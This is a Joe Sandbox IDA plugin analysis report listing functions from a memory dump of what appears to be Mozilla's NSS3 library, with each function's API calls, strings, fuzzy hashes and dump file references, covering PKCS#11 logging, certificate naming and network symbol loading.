Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 2412a0e6ad5b985307130595c904abe271e01dfc467fb1aa6ca5862ec54b9d12
Instruction ID: 180ea1bda6bf65922acde475625f477bff02dffc6d104aee631e6077b3e5d887
Opcode Fuzzy Hash: 2412a0e6ad5b985307130595c904abe271e01dfc467fb1aa6ca5862ec54b9d12
Instruction Fuzzy Hash: 4941D375601104AFDB70DB64EF4DB9A3BB5BB8230CF054435E508A7B52EB35AA48CBE1

Function 6C798500 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptDigestUpdate), ref: 6C798526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C798554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C798563

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C798579
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C79859A
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C7985B3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7985CC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C7985E7
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C798659

Strings

pEncryptedPart = 0x%p, xrefs: 6C798595
pPart = 0x%p, xrefs: 6C7985C7
hSession = 0x%x, xrefs: 6C79853E, 6C79854E
pulPartLen = 0x%p, xrefs: 6C7985E2
C_DecryptDigestUpdate, xrefs: 6C798521
*pulPartLen = 0x%x, xrefs: 6C798654
ulEncryptedPartLen = %d, xrefs: 6C7985AE
(CK_INVALID_HANDLE), xrefs: 6C79855C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptDigestUpdate
API String ID: 1003633598-1019776760
Opcode ID: 261e8c2913d3e5657fc9c26aa68ee210b028a5503e0c80aa49617fccb431306e
Instruction ID: d3b5418bb32f49a8ccf8ce1d9f677fc65ceaa6255a23394e63033d8a4ed73787
Opcode Fuzzy Hash: 261e8c2913d3e5657fc9c26aa68ee210b028a5503e0c80aa49617fccb431306e
Instruction Fuzzy Hash: 8441D471602104AFDB309F54EF4CB5A3BB1AB4231DF094436E408A7B52DB35AA58CBE1

Function 6C798690 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignEncryptUpdate), ref: 6C7986B6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7986E4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7986F3

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C798709
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C79872A
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C798743
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C79875C
PR_LogPrint.NSS3( pulEncryptedPartLen = 0x%p,?), ref: 6C798777
PR_LogPrint.NSS3( *pulEncryptedPartLen = 0x%x,?), ref: 6C7987E9

Strings

pEncryptedPart = 0x%p, xrefs: 6C798757
pPart = 0x%p, xrefs: 6C798725
hSession = 0x%x, xrefs: 6C7986CE, 6C7986DE
C_SignEncryptUpdate, xrefs: 6C7986B1
ulPartLen = %d, xrefs: 6C79873E
*pulEncryptedPartLen = 0x%x, xrefs: 6C7987E4
pulEncryptedPartLen = 0x%p, xrefs: 6C798772
(CK_INVALID_HANDLE), xrefs: 6C7986EC

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulEncryptedPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulEncryptedPartLen = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_SignEncryptUpdate
API String ID: 1003633598-3528238837
Opcode ID: 8434970e58800800ad521504f7c67834fe4578717318b93916ac1e7c41273249
Instruction ID: b3d9981cde1227a498e0519533af164c1ed596e929a7ce8c9bb5da6496052ed1
Opcode Fuzzy Hash: 8434970e58800800ad521504f7c67834fe4578717318b93916ac1e7c41273249
Instruction Fuzzy Hash: C2419575601104ABDB30DF64EF4CB5A37B1AB4231DF454836E408A7B52E735A958CBE1

Function 6C7D4500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C7D3803,?,6C7D3817,00000000), ref: 6C7D450E

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

PR_SetError.NSS3(FFFFE005,00000000,?,6C7D3817,00000000), ref: 6C7D4550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6C7D45B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C7D4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C7D4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C7D473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C7D4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C892DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C7D482E
PR_GetCurrentThread.NSS3 ref: 6C7D48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7D4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7D4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C7D494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C7D4963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7D4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C7D21C2,?,?,?), ref: 6C7D499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C7D49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7D49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D49E9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: 89b487fa90a18b4afe64e6316a0ce8dd32ca0f6432b569d728b6f1b8e8316373
Instruction ID: a169bf1c5b61bad2ba3c0dec52345a7bf6e7a14eb1c9f74994ae9dbb5d136725
Opcode Fuzzy Hash: 89b487fa90a18b4afe64e6316a0ce8dd32ca0f6432b569d728b6f1b8e8316373
Instruction Fuzzy Hash: 80A106B5E012049BFF108B69DE44BEE3B65AB0531CF264138E905A7B81E731F844DBA5

Function 6C7B8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8E9E
PORT_ArenaAlloc_Util.NSS3(6C8C0B64,00000001,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C7B8E01,00000000,6C7B9060,6C8C0B64), ref: 6C7B8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C7B8E01), ref: 6C7B8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C8C0B64,6C8C0B64), ref: 6C7B8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C7B8F3F

Part of subcall function 6C7BA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C7BA421,00000000,00000000,6C7B9826), ref: 6C7BA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7B904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C7B8E76

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: c8a79f73bb9729f0fa74e7f6dbcbe74ee3738f4cbb8efc2da028121370002d3f
Instruction ID: db1837b4ca100e2e23d697aca6b33dbde1b5de5fa04d9c7e1c79377f0079a8f5
Opcode Fuzzy Hash: c8a79f73bb9729f0fa74e7f6dbcbe74ee3738f4cbb8efc2da028121370002d3f
Instruction Fuzzy Hash: 8D616FB5E0011AAFDB10CF55CE80AAEB7B9EF95358F144538EC28A7700E735A915CBB1

Function 6C768E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C768E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C768E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C768EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8918D0,?), ref: 6C768F03
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C768F19
PL_FreeArenaPool.NSS3(?), ref: 6C768F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C768F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C768F65
PL_FinishArenaPool.NSS3(?), ref: 6C768FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C768FFE
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C769012
PL_FreeArenaPool.NSS3(?), ref: 6C769024
PL_FinishArenaPool.NSS3(?), ref: 6C76902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C76903E

Strings

security, xrefs: 6C768EE7

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7df83288dabd1cc4dd5d722c56846f47ffa1065554a95dcdcc02857ee8742abb
Instruction ID: 157d1a4f7e002fe35fcbd498702c663e1299e8dbc9e9b0a51b54f668bbcd5a06
Opcode Fuzzy Hash: 7df83288dabd1cc4dd5d722c56846f47ffa1065554a95dcdcc02857ee8742abb
Instruction Fuzzy Hash: 14512871608200AFD7205A5ADF49BAB73A8AB8675CF44093EFD5597F80E731D908C793

Function 6C794E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C794E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C794EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C794EC7

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C794EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C794F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C794F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C794F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C794F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C794F68

Strings

hSession = 0x%x, xrefs: 6C794EA2, 6C794EB2
hObject = 0x%x, xrefs: 6C794EF5, 6C794F05
C_GetAttributeValue, xrefs: 6C794E7E
pTemplate = 0x%p, xrefs: 6C794F4A
ulCount = %d, xrefs: 6C794F63
(CK_INVALID_HANDLE), xrefs: 6C794EC0, 6C794F13

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 05c5ed71088880363e0f39e6c285a078422547d4e0c4e02fff2334b8065abb79
Instruction ID: 4293053b2f29d5ea0e5d4aa08a89ad3bf68a72aa02028518de895eba9a7514ee
Opcode Fuzzy Hash: 05c5ed71088880363e0f39e6c285a078422547d4e0c4e02fff2334b8065abb79
Instruction Fuzzy Hash: B641E571602104ABDB20CF54EF4CF9E77B6AB8230DF094435E50967B52D734AE48DBA1

Function 6C794CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C794CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C794D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C794D37

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C794D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C794D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C794D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C794DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C794DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C794E20

Strings

hSession = 0x%x, xrefs: 6C794D12, 6C794D22
C_GetObjectSize, xrefs: 6C794CEE
hObject = 0x%x, xrefs: 6C794D65, 6C794D75
pulSize = 0x%p, xrefs: 6C794DB7
*pulSize = 0x%x, xrefs: 6C794E1B
(CK_INVALID_HANDLE), xrefs: 6C794D30, 6C794D83

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 0312fe85981536e480779bcb68241f1a99d829f3917ba514e896e18a2b3784d6
Instruction ID: 98b5481b7a944dccfc0e090c06485c72e2895628d09d748c4724a93e75441dba
Opcode Fuzzy Hash: 0312fe85981536e480779bcb68241f1a99d829f3917ba514e896e18a2b3784d6
Instruction Fuzzy Hash: 7441F775601104AFDB308B14EF8DB6E37B5AB4230DF054835E518A7B62EB35AA48DBE1

Function 6C792F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C792F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C792F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C792F63

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C792F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C792F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C792FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C792FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C792FE7

Strings

hSession = 0x%x, xrefs: 6C792F3E, 6C792F4E
ulOldLen = %d, xrefs: 6C792FB0
ulNewLen = %d, xrefs: 6C792FE2
C_SetPIN, xrefs: 6C792F21
pNewPin = 0x%p, xrefs: 6C792FC9
pOldPin = 0x%p, xrefs: 6C792F95
(CK_INVALID_HANDLE), xrefs: 6C792F5C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 8d4b093ac1e3db71dd4b0514aa491b7c5237fd616163e0c22070672f48e3e657
Instruction ID: 3ba683d292634aa7e76d900437610a0c6008e326a9d12493915f615b3c67d8c2
Opcode Fuzzy Hash: 8d4b093ac1e3db71dd4b0514aa491b7c5237fd616163e0c22070672f48e3e657
Instruction Fuzzy Hash: EF31D271601144ABCB30AB18EF4CF5E37B2AB4630DF054435F409A7B52DB35AA58CBA1

Function 6C7627F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

CERT_GetCommonName.NSS3(?), ref: 6C762801
CERT_GetOrgUnitName.NSS3(?), ref: 6C762810
CERT_GetOrgName.NSS3(?), ref: 6C762821
PR_smprintf.NSS3(6C89AAF9,?), ref: 6C762869
PR_smprintf.NSS3(%s - %s #%d,00000000,?,00000002), ref: 6C76287D
PR_smprintf.NSS3(%s #%d,?,00000001), ref: 6C762890
CERT_FindCertByNickname.NSS3(?,00000000), ref: 6C7628A8
CERT_DestroyCertificate.NSS3(00000000), ref: 6C7628B5
free.MOZGLUE(00000000), ref: 6C7628BE
free.MOZGLUE(00000000), ref: 6C7628D2
free.MOZGLUE(?), ref: 6C7628E3
PORT_Strdup_Util.NSS3(Unknown CA), ref: 6C762905

Strings

%s - %s, xrefs: 6C762855
Unknown CA, xrefs: 6C762900
%s - %s #%d, xrefs: 6C762878

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: NameR_smprintffree$CertCertificateCommonDestroyFindNicknameStrdup_UnitUtil
String ID: %s - %s$%s - %s #%d$Unknown CA
API String ID: 778386754-45099391
Opcode ID: 4db281114ae0054c86e587bec0d98d7409ececd2168bc653c23b416908c41fa6
Instruction ID: 617a768c6bf66c0ff6a42f85c9016df1a309249effab7cd6d0f13e998085dd82
Opcode Fuzzy Hash: 4db281114ae0054c86e587bec0d98d7409ececd2168bc653c23b416908c41fa6
Instruction Fuzzy Hash: 6D31C8B2E0121367EB5056AB5F4D9DF766CAF1138CF180531ED19A2F02F721D91892E3

Function 6C82CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C82CC7B), ref: 6C82CD7A

Part of subcall function 6C82CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C79C1A8,?), ref: 6C82CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C82CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C82CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C82CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C82CD8E

Part of subcall function 6C7505C0: PR_EnterMonitor.NSS3 ref: 6C7505D1
Part of subcall function 6C7505C0: PR_ExitMonitor.NSS3 ref: 6C7505EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C82CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C82CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C82CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C82CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C82CE48

Strings

wship6.dll, xrefs: 6C82CDE3
getaddrinfo, xrefs: 6C82CD88, 6C82CDF9
getnameinfo, xrefs: 6C82CDB2, 6C82CE23
ws2_32.dll, xrefs: 6C82CD75
freeaddrinfo, xrefs: 6C82CD9F, 6C82CE10

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: c4d71be72d0d26a2a6421d1a45901c5e764f8927af4cee47671f848ca4ac3875
